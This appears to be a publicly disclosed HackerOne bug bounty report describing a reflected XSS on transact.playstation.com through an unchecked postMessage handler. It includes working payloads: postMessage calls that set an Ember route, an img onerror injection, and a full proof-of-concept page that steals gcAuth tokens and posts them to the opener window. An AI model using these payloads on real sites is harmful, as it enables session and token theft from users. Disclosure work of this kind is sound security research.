HexBrain

PlayStation · Report #900619

Reflected XSS on transact.playstation.com using postMessage from the opening window

Validstatus
highseverity
$1,000bounty
98upvotes
30 Mar 2021disclosed

Summary

Report Summary:

When transact.playstation.com loads it handles messages received from postMessage in the _receiveMessageFromTransactClientService method. The only validation that is performed is to ensure that the referrer and origin match:

_receiveMessageFromTransactClientService: function (e) {
          var n = void 0,
            r = this.get("replaceRoute"),
            i = this.get("referrer");
          if (!i || e.origin === (0, t.default)(i)) {
            try {
              n = JSON.parse(e.data);
            } catch (u) {}

These checks can be passed by using win = window.open("https://transact.playstation.com/") to launch a new window, then send messages with win.postMessage. This allows a few functions to be called, including replaceRoute which allows the current ember route and model to be set:

win = window.open("https://transact.playstation.com/");
win.postMessage(JSON.stringify({
                action: "replaceRoute",
                route: "application_error",
                model: { error: 500, title: "injected", message: "from vakzz" }
            }), "*");

After looking at a few of the routes, voucher.multi-product-details has a sku.longDescription on the model that is rendered as html and can be used to create an xss if the user is logged in:

win.postMessage(JSON.stringify({
                action: "replaceRoute",
                route: "voucher.multi-product-details",
                model: {
                    eligible: true,
                    sku: {
                        id: 0, longDescription: `
                            <img src=x onerror='alert(document.domain)'>`
                    }
                }
            }), "*");

Using the XSS, the current tokens from gcAuth can be retrieved and posted back to the opening window using:

valkyrie.transact.preflightRunner.getPromise("gcAuth").then((gcAuth) => window.opener.postMessage(JSON.stringify(gcAuth), "*"));

Steps To Reproduce:

  1. Log into https://id.sonyentertainmentnetwork.com/id/management
  2. Visit https://aw.rs/ps4/xss1.html
  3. Click the button and wait 5 seconds
  4. The XSS will fire and post a message back to the opening window:

Supporting Material/References:

Source of https://aw.rs/ps4/xss1.html

<!DOCTYPE html>
<html>

<body>
    <button onclick="start()">click me</button>
    <script>
        window.addEventListener("message", (msg) => {
            console.log("got message", msg);
            alert(msg.data);
        });

        async function start() {
            win = window.open("https://transact.playstation.com/", "transact");
            await new Promise((resolve) => setTimeout(resolve, 5000));

            win.postMessage(JSON.stringify({
                action: "replaceRoute",
                route: "voucher.multi-product-details",
                model: {
                    eligible: true,
                    sku: {
                        id: 0, longDescription: `
                            <img src=x onerror='
                                valkyrie.transact.preflightRunner.getPromise("gcAuth").then((gcAuth) => window.opener.postMessage(JSON.stringify(gcAuth), "*"));
                            '>`
                    }
                }
            }), "*");
        }
    </script>
</body>

</html>

Impact

Allows an attacker to execute arbitrary javascript on transact.playstation.com if a user visits or clicks on a malicious link, allowing cookies, tokens, and localStorage to be stolen.

How it was found

The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original